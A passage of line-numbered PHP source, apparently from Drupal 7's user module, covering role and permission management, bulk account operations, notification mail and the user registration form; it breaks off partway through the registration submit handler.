2900 * - pass: The hashed account login password.
2901 * @param $options
2902 * Unused parameter required by the token_replace() function.
2903 */
2904function user_mail_tokens(&$replacements, $data, $options) {
2905 if (isset($data['user'])) {
2906 $replacements['[user:one-time-login-url]'] = user_pass_reset_url($data['user']);
2907 $replacements['[user:cancel-url]'] = user_cancel_url($data['user']);
2908 }
2909}
2910
2911/*** Administrative features ***********************************************/
2912
2913/**
2914 * Retrieve an array of roles matching specified conditions.
2915 *
2916 * @param $membersonly
2917 * Set this to TRUE to exclude the 'anonymous' role.
2918 * @param $permission
2919 * A string containing a permission. If set, only roles containing that
2920 * permission are returned.
2921 *
2922 * @return
2923 * An associative array with the role id as the key and the role name as
2924 * value.
2925 */
2926function user_roles($membersonly = FALSE, $permission = NULL) {
2927 $query = db_select('role', 'r');
2928 $query->addTag('translatable');
2929 $query->fields('r', array('rid', 'name'));
2930 $query->orderBy('weight');
2931 $query->orderBy('name');
2932 if (!empty($permission)) {
2933 $query->innerJoin('role_permission', 'p', 'r.rid = p.rid');
2934 $query->condition('p.permission', $permission);
2935 }
2936 $result = $query->execute();
2937
2938 $roles = array();
2939 foreach ($result as $role) {
2940 switch ($role->rid) {
2941 // We only translate the built in role names
2942 case DRUPAL_ANONYMOUS_RID:
2943 if (!$membersonly) {
2944 $roles[$role->rid] = t($role->name);
2945 }
2946 break;
2947 case DRUPAL_AUTHENTICATED_RID:
2948 $roles[$role->rid] = t($role->name);
2949 break;
2950 default:
2951 $roles[$role->rid] = $role->name;
2952 }
2953 }
2954
2955 return $roles;
2956}
2957
2958/**
2959 * Fetches a user role by role ID.
2960 *
2961 * @param $rid
2962 * An integer representing the role ID.
2963 *
2964 * @return
2965 * A fully-loaded role object if a role with the given ID exists, or FALSE
2966 * otherwise.
2967 *
2968 * @see user_role_load_by_name()
2969 */
2970function user_role_load($rid) {
2971 return db_select('role', 'r')
2972 ->fields('r')
2973 ->condition('rid', $rid)
2974 ->execute()
2975 ->fetchObject();
2976}
2977
2978/**
2979 * Fetches a user role by role name.
2980 *
2981 * @param $role_name
2982 * A string representing the role name.
2983 *
2984 * @return
2985 * A fully-loaded role object if a role with the given name exists, or FALSE
2986 * otherwise.
2987 *
2988 * @see user_role_load()
2989 */
2990function user_role_load_by_name($role_name) {
2991 return db_select('role', 'r')
2992 ->fields('r')
2993 ->condition('name', $role_name)
2994 ->execute()
2995 ->fetchObject();
2996}
2997
2998/**
2999 * Save a user role to the database.
3000 *
3001 * @param $role
3002 * A role object to modify or add. If $role->rid is not specified, a new
3003 * role will be created.
3004 * @return
3005 * Status constant indicating if role was created or updated.
3006 * Failure to write the user role record will return FALSE. Otherwise.
3007 * SAVED_NEW or SAVED_UPDATED is returned depending on the operation
3008 * performed.
3009 */
3010function user_role_save($role) {
3011 if ($role->name) {
3012 // Prevent leading and trailing spaces in role names.
3013 $role->name = trim($role->name);
3014 }
3015 if (!isset($role->weight)) {
3016 // Set a role weight to make this new role last.
3017 $query = db_select('role');
3018 $query->addExpression('MAX(weight)');
3019 $role->weight = $query->execute()->fetchField() + 1;
3020 }
3021
3022 // Let modules modify the user role before it is saved to the database.
3023 module_invoke_all('user_role_presave', $role);
3024
3025 if (!empty($role->rid) && $role->name) {
3026 $status = drupal_write_record('role', $role, 'rid');
3027 module_invoke_all('user_role_update', $role);
3028 }
3029 else {
3030 $status = drupal_write_record('role', $role);
3031 module_invoke_all('user_role_insert', $role);
3032 }
3033
3034 // Clear the user access cache.
3035 drupal_static_reset('user_access');
3036 drupal_static_reset('user_role_permissions');
3037
3038 return $status;
3039}
3040
3041/**
3042 * Delete a user role from database.
3043 *
3044 * @param $role
3045 * A string with the role name, or an integer with the role ID.
3046 */
3047function user_role_delete($role) {
3048 if (is_int($role)) {
3049 $role = user_role_load($role);
3050 }
3051 else {
3052 $role = user_role_load_by_name($role);
3053 }
3054
3055 // If this is the administrator role, delete the user_admin_role variable.
3056 if ($role->rid == variable_get('user_admin_role')) {
3057 variable_del('user_admin_role');
3058 }
3059
3060 db_delete('role')
3061 ->condition('rid', $role->rid)
3062 ->execute();
3063 db_delete('role_permission')
3064 ->condition('rid', $role->rid)
3065 ->execute();
3066 // Update the users who have this role set:
3067 db_delete('users_roles')
3068 ->condition('rid', $role->rid)
3069 ->execute();
3070
3071 module_invoke_all('user_role_delete', $role);
3072
3073 // Clear the user access cache.
3074 drupal_static_reset('user_access');
3075 drupal_static_reset('user_role_permissions');
3076}
3077
3078/**
3079 * Menu access callback for user role editing.
3080 */
3081function user_role_edit_access($role) {
3082 // Prevent the system-defined roles from being altered or removed.
3083 if ($role->rid == DRUPAL_ANONYMOUS_RID || $role->rid == DRUPAL_AUTHENTICATED_RID) {
3084 return FALSE;
3085 }
3086
3087 return user_access('administer permissions');
3088}
3089
3090/**
3091 * Determine the modules that permissions belong to.
3092 *
3093 * @return
3094 * An associative array in the format $permission => $module.
3095 */
3096function user_permission_get_modules() {
3097 $permissions = array();
3098 foreach (module_implements('permission') as $module) {
3099 $perms = module_invoke($module, 'permission');
3100 foreach ($perms as $key => $value) {
3101 $permissions[$key] = $module;
3102 }
3103 }
3104 return $permissions;
3105}
3106
3107/**
3108 * Change permissions for a user role.
3109 *
3110 * This function may be used to grant and revoke multiple permissions at once.
3111 * For example, when a form exposes checkboxes to configure permissions for a
3112 * role, the form submit handler may directly pass the submitted values for the
3113 * checkboxes form element to this function.
3114 *
3115 * @param $rid
3116 * The ID of a user role to alter.
3117 * @param $permissions
3118 * An associative array, where the key holds the permission name and the value
3119 * determines whether to grant or revoke that permission. Any value that
3120 * evaluates to TRUE will cause the permission to be granted. Any value that
3121 * evaluates to FALSE will cause the permission to be revoked.
3122 * @code
3123 * array(
3124 * 'administer nodes' => 0, // Revoke 'administer nodes'
3125 * 'administer blocks' => FALSE, // Revoke 'administer blocks'
3126 * 'access user profiles' => 1, // Grant 'access user profiles'
3127 * 'access content' => TRUE, // Grant 'access content'
3128 * 'access comments' => 'access comments', // Grant 'access comments'
3129 * )
3130 * @endcode
3131 * Existing permissions are not changed, unless specified in $permissions.
3132 *
3133 * @see user_role_grant_permissions()
3134 * @see user_role_revoke_permissions()
3135 */
3136function user_role_change_permissions($rid, array $permissions = array()) {
3137 // Grant new permissions for the role.
3138 $grant = array_filter($permissions);
3139 if (!empty($grant)) {
3140 user_role_grant_permissions($rid, array_keys($grant));
3141 }
3142 // Revoke permissions for the role.
3143 $revoke = array_diff_assoc($permissions, $grant);
3144 if (!empty($revoke)) {
3145 user_role_revoke_permissions($rid, array_keys($revoke));
3146 }
3147}
3148
3149/**
3150 * Grant permissions to a user role.
3151 *
3152 * @param $rid
3153 * The ID of a user role to alter.
3154 * @param $permissions
3155 * A list of permission names to grant.
3156 *
3157 * @see user_role_change_permissions()
3158 * @see user_role_revoke_permissions()
3159 */
3160function user_role_grant_permissions($rid, array $permissions = array()) {
3161 $modules = user_permission_get_modules();
3162 // Grant new permissions for the role.
3163 foreach ($permissions as $name) {
3164 db_merge('role_permission')
3165 ->key(array(
3166 'rid' => $rid,
3167 'permission' => $name,
3168 ))
3169 ->fields(array(
3170 'module' => $modules[$name],
3171 ))
3172 ->execute();
3173 }
3174
3175 // Clear the user access cache.
3176 drupal_static_reset('user_access');
3177 drupal_static_reset('user_role_permissions');
3178}
3179
3180/**
3181 * Revoke permissions from a user role.
3182 *
3183 * @param $rid
3184 * The ID of a user role to alter.
3185 * @param $permissions
3186 * A list of permission names to revoke.
3187 *
3188 * @see user_role_change_permissions()
3189 * @see user_role_grant_permissions()
3190 */
3191function user_role_revoke_permissions($rid, array $permissions = array()) {
3192 // Revoke permissions for the role.
3193 db_delete('role_permission')
3194 ->condition('rid', $rid)
3195 ->condition('permission', $permissions, 'IN')
3196 ->execute();
3197
3198 // Clear the user access cache.
3199 drupal_static_reset('user_access');
3200 drupal_static_reset('user_role_permissions');
3201}
3202
3203/**
3204 * Implements hook_user_operations().
3205 */
3206function user_user_operations($form = array(), $form_state = array()) {
3207 $operations = array(
3208 'unblock' => array(
3209 'label' => t('Unblock the selected users'),
3210 'callback' => 'user_user_operations_unblock',
3211 ),
3212 'block' => array(
3213 'label' => t('Block the selected users'),
3214 'callback' => 'user_user_operations_block',
3215 ),
3216 'cancel' => array(
3217 'label' => t('Cancel the selected user accounts'),
3218 ),
3219 );
3220
3221 if (user_access('administer permissions')) {
3222 $roles = user_roles(TRUE);
3223 unset($roles[DRUPAL_AUTHENTICATED_RID]); // Can't edit authenticated role.
3224
3225 $add_roles = array();
3226 foreach ($roles as $key => $value) {
3227 $add_roles['add_role-' . $key] = $value;
3228 }
3229
3230 $remove_roles = array();
3231 foreach ($roles as $key => $value) {
3232 $remove_roles['remove_role-' . $key] = $value;
3233 }
3234
3235 if (count($roles)) {
3236 $role_operations = array(
3237 t('Add a role to the selected users') => array(
3238 'label' => $add_roles,
3239 ),
3240 t('Remove a role from the selected users') => array(
3241 'label' => $remove_roles,
3242 ),
3243 );
3244
3245 $operations += $role_operations;
3246 }
3247 }
3248
3249 // If the form has been posted, we need to insert the proper data for
3250 // role editing if necessary.
3251 if (!empty($form_state['submitted'])) {
3252 $operation_rid = explode('-', $form_state['values']['operation']);
3253 $operation = $operation_rid[0];
3254 if ($operation == 'add_role' || $operation == 'remove_role') {
3255 $rid = $operation_rid[1];
3256 if (user_access('administer permissions')) {
3257 $operations[$form_state['values']['operation']] = array(
3258 'callback' => 'user_multiple_role_edit',
3259 'callback arguments' => array($operation, $rid),
3260 );
3261 }
3262 else {
3263 watchdog('security', 'Detected malicious attempt to alter protected user fields.', array(), WATCHDOG_WARNING);
3264 return;
3265 }
3266 }
3267 }
3268
3269 return $operations;
3270}
3271
3272/**
3273 * Callback function for admin mass unblocking users.
3274 */
3275function user_user_operations_unblock($accounts) {
3276 $accounts = user_load_multiple($accounts);
3277 foreach ($accounts as $account) {
3278 // Skip unblocking user if they are already unblocked.
3279 if ($account !== FALSE && $account->status == 0) {
3280 user_save($account, array('status' => 1));
3281 }
3282 }
3283}
3284
3285/**
3286 * Callback function for admin mass blocking users.
3287 */
3288function user_user_operations_block($accounts) {
3289 $accounts = user_load_multiple($accounts);
3290 foreach ($accounts as $account) {
3291 // Skip blocking user if they are already blocked.
3292 if ($account !== FALSE && $account->status == 1) {
3293 // For efficiency manually save the original account before applying any
3294 // changes.
3295 $account->original = clone $account;
3296 user_save($account, array('status' => 0));
3297 }
3298 }
3299}
3300
3301/**
3302 * Callback function for admin mass adding/deleting a user role.
3303 */
3304function user_multiple_role_edit($accounts, $operation, $rid) {
3305 // The role name is not necessary as user_save() will reload the user
3306 // object, but some modules' hook_user() may look at this first.
3307 $role_name = db_query('SELECT name FROM {role} WHERE rid = :rid', array(':rid' => $rid))->fetchField();
3308
3309 switch ($operation) {
3310 case 'add_role':
3311 $accounts = user_load_multiple($accounts);
3312 foreach ($accounts as $account) {
3313 // Skip adding the role to the user if they already have it.
3314 if ($account !== FALSE && !isset($account->roles[$rid])) {
3315 $roles = $account->roles + array($rid => $role_name);
3316 // For efficiency manually save the original account before applying
3317 // any changes.
3318 $account->original = clone $account;
3319 user_save($account, array('roles' => $roles));
3320 }
3321 }
3322 break;
3323 case 'remove_role':
3324 $accounts = user_load_multiple($accounts);
3325 foreach ($accounts as $account) {
3326 // Skip removing the role from the user if they already don't have it.
3327 if ($account !== FALSE && isset($account->roles[$rid])) {
3328 $roles = array_diff($account->roles, array($rid => $role_name));
3329 // For efficiency manually save the original account before applying
3330 // any changes.
3331 $account->original = clone $account;
3332 user_save($account, array('roles' => $roles));
3333 }
3334 }
3335 break;
3336 }
3337}
3338
3339function user_multiple_cancel_confirm($form, &$form_state) {
3340 $edit = $form_state['input'];
3341
3342 $form['accounts'] = array('#prefix' => '<ul>', '#suffix' => '</ul>', '#tree' => TRUE);
3343 $accounts = user_load_multiple(array_keys(array_filter($edit['accounts'])));
3344 foreach ($accounts as $uid => $account) {
3345 // Prevent user 1 from being canceled.
3346 if ($uid <= 1) {
3347 continue;
3348 }
3349 $form['accounts'][$uid] = array(
3350 '#type' => 'hidden',
3351 '#value' => $uid,
3352 '#prefix' => '<li>',
3353 '#suffix' => check_plain($account->name) . "</li>\n",
3354 );
3355 }
3356
3357 // Output a notice that user 1 cannot be canceled.
3358 if (isset($accounts[1])) {
3359 $redirect = (count($accounts) == 1);
3360 $message = t('The user account %name cannot be cancelled.', array('%name' => $accounts[1]->name));
3361 drupal_set_message($message, $redirect ? 'error' : 'warning');
3362 // If only user 1 was selected, redirect to the overview.
3363 if ($redirect) {
3364 drupal_goto('admin/people');
3365 }
3366 }
3367
3368 $form['operation'] = array('#type' => 'hidden', '#value' => 'cancel');
3369
3370 module_load_include('inc', 'user', 'user.pages');
3371 $form['user_cancel_method'] = array(
3372 '#type' => 'item',
3373 '#title' => t('When cancelling these accounts'),
3374 );
3375 $form['user_cancel_method'] += user_cancel_methods();
3376 // Remove method descriptions.
3377 foreach (element_children($form['user_cancel_method']) as $element) {
3378 unset($form['user_cancel_method'][$element]['#description']);
3379 }
3380
3381 // Allow to send the account cancellation confirmation mail.
3382 $form['user_cancel_confirm'] = array(
3383 '#type' => 'checkbox',
3384 '#title' => t('Require e-mail confirmation to cancel account.'),
3385 '#default_value' => FALSE,
3386 '#description' => t('When enabled, the user must confirm the account cancellation via e-mail.'),
3387 );
3388 // Also allow to send account canceled notification mail, if enabled.
3389 $form['user_cancel_notify'] = array(
3390 '#type' => 'checkbox',
3391 '#title' => t('Notify user when account is canceled.'),
3392 '#default_value' => FALSE,
3393 '#access' => variable_get('user_mail_status_canceled_notify', FALSE),
3394 '#description' => t('When enabled, the user will receive an e-mail notification after the account has been cancelled.'),
3395 );
3396
3397 return confirm_form($form,
3398 t('Are you sure you want to cancel these user accounts?'),
3399 'admin/people', t('This action cannot be undone.'),
3400 t('Cancel accounts'), t('Cancel'));
3401}
3402
3403/**
3404 * Submit handler for mass-account cancellation form.
3405 *
3406 * @see user_multiple_cancel_confirm()
3407 * @see user_cancel_confirm_form_submit()
3408 */
3409function user_multiple_cancel_confirm_submit($form, &$form_state) {
3410 global $user;
3411
3412 if ($form_state['values']['confirm']) {
3413 foreach ($form_state['values']['accounts'] as $uid => $value) {
3414 // Prevent programmatic form submissions from cancelling user 1.
3415 if ($uid <= 1) {
3416 continue;
3417 }
3418 // Prevent user administrators from deleting themselves without confirmation.
3419 if ($uid == $user->uid) {
3420 $admin_form_state = $form_state;
3421 unset($admin_form_state['values']['user_cancel_confirm']);
3422 $admin_form_state['values']['_account'] = $user;
3423 user_cancel_confirm_form_submit(array(), $admin_form_state);
3424 }
3425 else {
3426 user_cancel($form_state['values'], $uid, $form_state['values']['user_cancel_method']);
3427 }
3428 }
3429 }
3430 $form_state['redirect'] = 'admin/people';
3431}
3432
3433/**
3434 * Retrieve a list of all user setting/information categories and sort them by weight.
3435 */
3436function _user_categories() {
3437 $categories = module_invoke_all('user_categories');
3438 usort($categories, '_user_sort');
3439
3440 return $categories;
3441}
3442
3443function _user_sort($a, $b) {
3444 $a = (array) $a + array('weight' => 0, 'title' => '');
3445 $b = (array) $b + array('weight' => 0, 'title' => '');
3446 return $a['weight'] < $b['weight'] ? -1 : ($a['weight'] > $b['weight'] ? 1 : ($a['title'] < $b['title'] ? -1 : 1));
3447}
3448
3449/**
3450 * List user administration filters that can be applied.
3451 */
3452function user_filters() {
3453 // Regular filters
3454 $filters = array();
3455 $roles = user_roles(TRUE);
3456 unset($roles[DRUPAL_AUTHENTICATED_RID]); // Don't list authorized role.
3457 if (count($roles)) {
3458 $filters['role'] = array(
3459 'title' => t('role'),
3460 'field' => 'ur.rid',
3461 'options' => array(
3462 '[any]' => t('any'),
3463 ) + $roles,
3464 );
3465 }
3466
3467 $options = array();
3468 foreach (module_implements('permission') as $module) {
3469 $function = $module . '_permission';
3470 if ($permissions = $function()) {
3471 asort($permissions);
3472 foreach ($permissions as $permission => $description) {
3473 $options[t('@module module', array('@module' => $module))][$permission] = t($permission);
3474 }
3475 }
3476 }
3477 ksort($options);
3478 $filters['permission'] = array(
3479 'title' => t('permission'),
3480 'options' => array(
3481 '[any]' => t('any'),
3482 ) + $options,
3483 );
3484
3485 $filters['status'] = array(
3486 'title' => t('status'),
3487 'field' => 'u.status',
3488 'options' => array(
3489 '[any]' => t('any'),
3490 1 => t('active'),
3491 0 => t('blocked'),
3492 ),
3493 );
3494 return $filters;
3495}
3496
3497/**
3498 * Extends a query object for user administration filters based on session.
3499 *
3500 * @param $query
3501 * Query object that should be filtered.
3502 */
3503function user_build_filter_query(SelectQuery $query) {
3504 $filters = user_filters();
3505 // Extend Query with filter conditions.
3506 foreach (isset($_SESSION['user_overview_filter']) ? $_SESSION['user_overview_filter'] : array() as $filter) {
3507 list($key, $value) = $filter;
3508 // This checks to see if this permission filter is an enabled permission for
3509 // the authenticated role. If so, then all users would be listed, and we can
3510 // skip adding it to the filter query.
3511 if ($key == 'permission') {
3512 $account = new stdClass();
3513 $account->uid = 'user_filter';
3514 $account->roles = array(DRUPAL_AUTHENTICATED_RID => 1);
3515 if (user_access($value, $account)) {
3516 continue;
3517 }
3518 $users_roles_alias = $query->join('users_roles', 'ur', '%alias.uid = u.uid');
3519 $permission_alias = $query->join('role_permission', 'p', $users_roles_alias . '.rid = %alias.rid');
3520 $query->condition($permission_alias . '.permission', $value);
3521 }
3522 elseif ($key == 'role') {
3523 $users_roles_alias = $query->join('users_roles', 'ur', '%alias.uid = u.uid');
3524 $query->condition($users_roles_alias . '.rid' , $value);
3525 }
3526 else {
3527 $query->condition($filters[$key]['field'], $value);
3528 }
3529 }
3530}
3531
3532/**
3533 * Implements hook_comment_view().
3534 */
3535function user_comment_view($comment) {
3536 if (variable_get('user_signatures', 0) && !empty($comment->signature)) {
3537 // @todo This alters and replaces the original object value, so a
3538 // hypothetical process of loading, viewing, and saving will hijack the
3539 // stored data. Consider renaming to $comment->signature_safe or similar
3540 // here and elsewhere in Drupal 8.
3541 $comment->signature = check_markup($comment->signature, $comment->signature_format, '', TRUE);
3542 }
3543 else {
3544 $comment->signature = '';
3545 }
3546}
3547
3548/**
3549 * Returns HTML for a user signature.
3550 *
3551 * @param $variables
3552 * An associative array containing:
3553 * - signature: The user's signature.
3554 *
3555 * @ingroup themeable
3556 */
3557function theme_user_signature($variables) {
3558 $signature = $variables['signature'];
3559 $output = '';
3560
3561 if ($signature) {
3562 $output .= '<div class="clear">';
3563 $output .= '<div>—</div>';
3564 $output .= $signature;
3565 $output .= '</div>';
3566 }
3567
3568 return $output;
3569}
3570
3571/**
3572 * Get the language object preferred by the user. This user preference can
3573 * be set on the user account editing page, and is only available if there
3574 * are more than one languages enabled on the site. If the user did not
3575 * choose a preferred language, or is the anonymous user, the $default
3576 * value, or if it is not set, the site default language will be returned.
3577 *
3578 * @param $account
3579 * User account to look up language for.
3580 * @param $default
3581 * Optional default language object to return if the account
3582 * has no valid language.
3583 */
3584function user_preferred_language($account, $default = NULL) {
3585 $language_list = language_list();
3586 if (!empty($account->language) && isset($language_list[$account->language])) {
3587 return $language_list[$account->language];
3588 }
3589 else {
3590 return $default ? $default : language_default();
3591 }
3592}
3593
3594/**
3595 * Conditionally create and send a notification email when a certain
3596 * operation happens on the given user account.
3597 *
3598 * @see user_mail_tokens()
3599 * @see drupal_mail()
3600 *
3601 * @param $op
3602 * The operation being performed on the account. Possible values:
3603 * - 'register_admin_created': Welcome message for user created by the admin.
3604 * - 'register_no_approval_required': Welcome message when user
3605 * self-registers.
3606 * - 'register_pending_approval': Welcome message, user pending admin
3607 * approval.
3608 * - 'password_reset': Password recovery request.
3609 * - 'status_activated': Account activated.
3610 * - 'status_blocked': Account blocked.
3611 * - 'cancel_confirm': Account cancellation request.
3612 * - 'status_canceled': Account canceled.
3613 *
3614 * @param $account
3615 * The user object of the account being notified. Must contain at
3616 * least the fields 'uid', 'name', and 'mail'.
3617 * @param $language
3618 * Optional language to use for the notification, overriding account language.
3619 *
3620 * @return
3621 * The return value from drupal_mail_system()->mail(), if ends up being
3622 * called.
3623 */
3624function _user_mail_notify($op, $account, $language = NULL) {
3625 // By default, we always notify except for canceled and blocked.
3626 $default_notify = ($op != 'status_canceled' && $op != 'status_blocked');
3627 $notify = variable_get('user_mail_' . $op . '_notify', $default_notify);
3628 if ($notify) {
3629 $params['account'] = $account;
3630 $language = $language ? $language : user_preferred_language($account);
3631 $mail = drupal_mail('user', $op, $account->mail, $language, $params);
3632 if ($op == 'register_pending_approval') {
3633 // If a user registered requiring admin approval, notify the admin, too.
3634 // We use the site default language for this.
3635 drupal_mail('user', 'register_pending_approval_admin', variable_get('site_mail', ini_get('sendmail_from')), language_default(), $params);
3636 }
3637 }
3638 return empty($mail) ? NULL : $mail['result'];
3639}
3640
3641/**
3642 * Form element process handler for client-side password validation.
3643 *
3644 * This #process handler is automatically invoked for 'password_confirm' form
3645 * elements to add the JavaScript and string translations for dynamic password
3646 * validation.
3647 *
3648 * @see system_element_info()
3649 */
3650function user_form_process_password_confirm($element) {
3651 global $user;
3652
3653 $js_settings = array(
3654 'password' => array(
3655 'strengthTitle' => t('Password strength:'),
3656 'hasWeaknesses' => t('To make your password stronger:'),
3657 'tooShort' => t('Make it at least 6 characters'),
3658 'addLowerCase' => t('Add lowercase letters'),
3659 'addUpperCase' => t('Add uppercase letters'),
3660 'addNumbers' => t('Add numbers'),
3661 'addPunctuation' => t('Add punctuation'),
3662 'sameAsUsername' => t('Make it different from your username'),
3663 'confirmSuccess' => t('yes'),
3664 'confirmFailure' => t('no'),
3665 'weak' => t('Weak'),
3666 'fair' => t('Fair'),
3667 'good' => t('Good'),
3668 'strong' => t('Strong'),
3669 'confirmTitle' => t('Passwords match:'),
3670 'username' => (isset($user->name) ? $user->name : ''),
3671 ),
3672 );
3673
3674 $element['#attached']['js'][] = drupal_get_path('module', 'user') . '/user.js';
3675 $element['#attached']['js'][] = array('data' => $js_settings, 'type' => 'setting');
3676
3677 return $element;
3678}
3679
3680/**
3681 * Implements hook_node_load().
3682 */
3683function user_node_load($nodes, $types) {
3684 // Build an array of all uids for node authors, keyed by nid.
3685 $uids = array();
3686 foreach ($nodes as $nid => $node) {
3687 $uids[$nid] = $node->uid;
3688 }
3689
3690 // Fetch name, picture, and data for these users.
3691 $user_fields = db_query("SELECT uid, name, picture, data FROM {users} WHERE uid IN (:uids)", array(':uids' => $uids))->fetchAllAssoc('uid');
3692
3693 // Add these values back into the node objects.
3694 foreach ($uids as $nid => $uid) {
3695 $nodes[$nid]->name = $user_fields[$uid]->name;
3696 $nodes[$nid]->picture = $user_fields[$uid]->picture;
3697 $nodes[$nid]->data = $user_fields[$uid]->data;
3698 }
3699}
3700
3701/**
3702 * Implements hook_image_style_delete().
3703 */
3704function user_image_style_delete($style) {
3705 // If a style is deleted, update the variables.
3706 // Administrators choose a replacement style when deleting.
3707 user_image_style_save($style);
3708}
3709
3710/**
3711 * Implements hook_image_style_save().
3712 */
3713function user_image_style_save($style) {
3714 // If a style is renamed, update the variables that use it.
3715 if (isset($style['old_name']) && $style['old_name'] == variable_get('user_picture_style', '')) {
3716 variable_set('user_picture_style', $style['name']);
3717 }
3718}
3719
3720/**
3721 * Implements hook_action_info().
3722 */
3723function user_action_info() {
3724 return array(
3725 'user_block_user_action' => array(
3726 'label' => t('Block current user'),
3727 'type' => 'user',
3728 'configurable' => FALSE,
3729 'triggers' => array('any'),
3730 ),
3731 );
3732}
3733
3734/**
3735 * Blocks a specific user or the current user, if one is not specified.
3736 *
3737 * @param $entity
3738 * (optional) An entity object; if it is provided and it has a uid property,
3739 * the user with that ID is blocked.
3740 * @param $context
3741 * (optional) An associative array; if no user ID is found in $entity, the
3742 * 'uid' element of this array determines the user to block.
3743 *
3744 * @ingroup actions
3745 */
3746function user_block_user_action(&$entity, $context = array()) {
3747 // First priority: If there is a $entity->uid, block that user.
3748 // This is most likely a user object or the author if a node or comment.
3749 if (isset($entity->uid)) {
3750 $uid = $entity->uid;
3751 }
3752 elseif (isset($context['uid'])) {
3753 $uid = $context['uid'];
3754 }
3755 // If neither of those are valid, then block the current user.
3756 else {
3757 $uid = $GLOBALS['user']->uid;
3758 }
3759 $account = user_load($uid);
3760 $account = user_save($account, array('status' => 0));
3761 watchdog('action', 'Blocked user %name.', array('%name' => $account->name));
3762}
3763
3764/**
3765 * Implements hook_form_FORM_ID_alter().
3766 *
3767 * Add a checkbox for the 'user_register_form' instance settings on the 'Edit
3768 * field instance' form.
3769 */
3770function user_form_field_ui_field_edit_form_alter(&$form, &$form_state, $form_id) {
3771 $instance = $form['#instance'];
3772
3773 if ($instance['entity_type'] == 'user' && !$form['#field']['locked']) {
3774 $form['instance']['settings']['user_register_form'] = array(
3775 '#type' => 'checkbox',
3776 '#title' => t('Display on user registration form.'),
3777 '#description' => t("This is compulsory for 'required' fields."),
3778 // Field instances created in D7 beta releases before the setting was
3779 // introduced might be set as 'required' and 'not shown on user_register
3780 // form'. We make sure the checkbox comes as 'checked' for those.
3781 '#default_value' => $instance['settings']['user_register_form'] || $instance['required'],
3782 // Display just below the 'required' checkbox.
3783 '#weight' => $form['instance']['required']['#weight'] + .1,
3784 // Disabled when the 'required' checkbox is checked.
3785 '#states' => array(
3786 'enabled' => array('input[name="instance[required]"]' => array('checked' => FALSE)),
3787 ),
3788 // Checked when the 'required' checkbox is checked. This is done through
3789 // a custom behavior, since the #states system would also synchronize on
3790 // uncheck.
3791 '#attached' => array(
3792 'js' => array(drupal_get_path('module', 'user') . '/user.js'),
3793 ),
3794 );
3795
3796 array_unshift($form['#submit'], 'user_form_field_ui_field_edit_form_submit');
3797 }
3798}
3799
3800/**
3801 * Additional submit handler for the 'Edit field instance' form.
3802 *
3803 * Make sure the 'user_register_form' setting is set for required fields.
3804 */
3805function user_form_field_ui_field_edit_form_submit($form, &$form_state) {
3806 $instance = $form_state['values']['instance'];
3807
3808 if (!empty($instance['required'])) {
3809 form_set_value($form['instance']['settings']['user_register_form'], 1, $form_state);
3810 }
3811}
3812
3813/**
3814 * Form builder; the user registration form.
3815 *
3816 * @ingroup forms
3817 * @see user_account_form()
3818 * @see user_account_form_validate()
3819 * @see user_register_submit()
3820 */
3821function user_register_form($form, &$form_state) {
3822 global $user;
3823
3824 $admin = user_access('administer users');
3825
3826 // Pass access information to the submit handler. Running an access check
3827 // inside the submit function interferes with form processing and breaks
3828 // hook_form_alter().
3829 $form['administer_users'] = array(
3830 '#type' => 'value',
3831 '#value' => $admin,
3832 );
3833
3834 // If we aren't admin but already logged on, go to the user page instead.
3835 if (!$admin && $user->uid) {
3836 drupal_goto('user/' . $user->uid);
3837 }
3838
3839 $form['#user'] = drupal_anonymous_user();
3840 $form['#user_category'] = 'register';
3841
3842 $form['#attached']['library'][] = array('system', 'jquery.cookie');
3843 $form['#attributes']['class'][] = 'user-info-from-cookie';
3844
3845 // Start with the default user account fields.
3846 user_account_form($form, $form_state);
3847
3848 // Attach field widgets, and hide the ones where the 'user_register_form'
3849 // setting is not on.
3850 $langcode = entity_language('user', $form['#user']);
3851 field_attach_form('user', $form['#user'], $form, $form_state, $langcode);
3852 foreach (field_info_instances('user', 'user') as $field_name => $instance) {
3853 if (empty($instance['settings']['user_register_form'])) {
3854 $form[$field_name]['#access'] = FALSE;
3855 }
3856 }
3857
3858 if ($admin) {
3859 // Redirect back to page which initiated the create request;
3860 // usually admin/people/create.
3861 $form_state['redirect'] = $_GET['q'];
3862 }
3863
3864 $form['actions'] = array('#type' => 'actions');
3865 $form['actions']['submit'] = array(
3866 '#type' => 'submit',
3867 '#value' => t('Create new account'),
3868 );
3869
3870 $form['#validate'][] = 'user_register_validate';
3871 // Add the final user registration form submit handler.
3872 $form['#submit'][] = 'user_register_submit';
3873
3874 return $form;
3875}
3876
3877/**
3878 * Validation function for the user registration form.
3879 */
3880function user_register_validate($form, &$form_state) {
3881 entity_form_field_validate('user', $form, $form_state);
3882}
3883
3884/**
3885 * Submit handler for the user registration form.
3886 *
3887 * This function is shared by the installation form and the normal registration form,
3888 * which is why it can't be in the user.pages.inc file.
3889 *
3890 * @see user_register_form()
3891 */
3892function user_register_submit($form, &$form_state) {
3893 $admin = $form_state['values']['administer_users'];
3894
3895 if (!variable_get('user_email_verification', TRUE) || $admin) {
3896 $pass = $form_state['values']['pass'];
3897 }
3898 else {
3899 $pass = user_password();
3900 }
3901 $notify = !empty($form_state['values']['notify']);
3902
3903 // Remove unneeded values.
3904 form_state_values_clean($form_state);
3905
3906 $form_state['values']['pass'] = $pass;
3907 $form_state['values']['init'] = $form_state['values']['mail'];
3908
3909 $account = $form['#user'];
3910
3911 entity_form_submit_build_entity('user', $account, $form, $form_state);
3912
3913 // Populate $edit with the properties of $account, which have been edited on
3914 // this form by taking over all values, which appear in the form values too.
3915 $edit = array_intersect_key((array) $account, $form_state['values']);
3916 $account = user_save($account, $edit);
3917
3918 // Terminate if an error occurred during user_save().
3919 if (!$account) {
3920 drupal_set_message(t("Error saving user account."), 'error');
3921 $form_state['redirect'] = '';
3922 return;
3923 }
3924 $form_state['user'] = $account;
3925 $form_state['values']['uid'] = $account->uid;
3926
3927 watchdog('user', 'New user: %name (%email).', array('%name' => $form_state['values']['name'], '%email' => $form_state['values']['mail']), WATCHDOG_NOTICE, l(t('edit'), 'user/' . $account->uid . '/edit'));
3928
3929 // Add plain text password into user account to generate mail tokens.
3930 $account->password = $pass;
3931
3932 // New administrative account without notification.
3933 $uri = entity_uri('user', $account);
3934 if ($admin && !$notify) {
3935 drupal_set_message(t('Created a new user account for <a href="@url">%name</a>. No e-mail has been sent.', array('@url' => url($uri['path'], $uri['options']), '%name' => $account->name)));
3936 }
3937 // No e-mail verification required; log in user immediately.
3938 elseif (!$admin && !variable_get('user_email_verification', TRUE) && $account->status) {
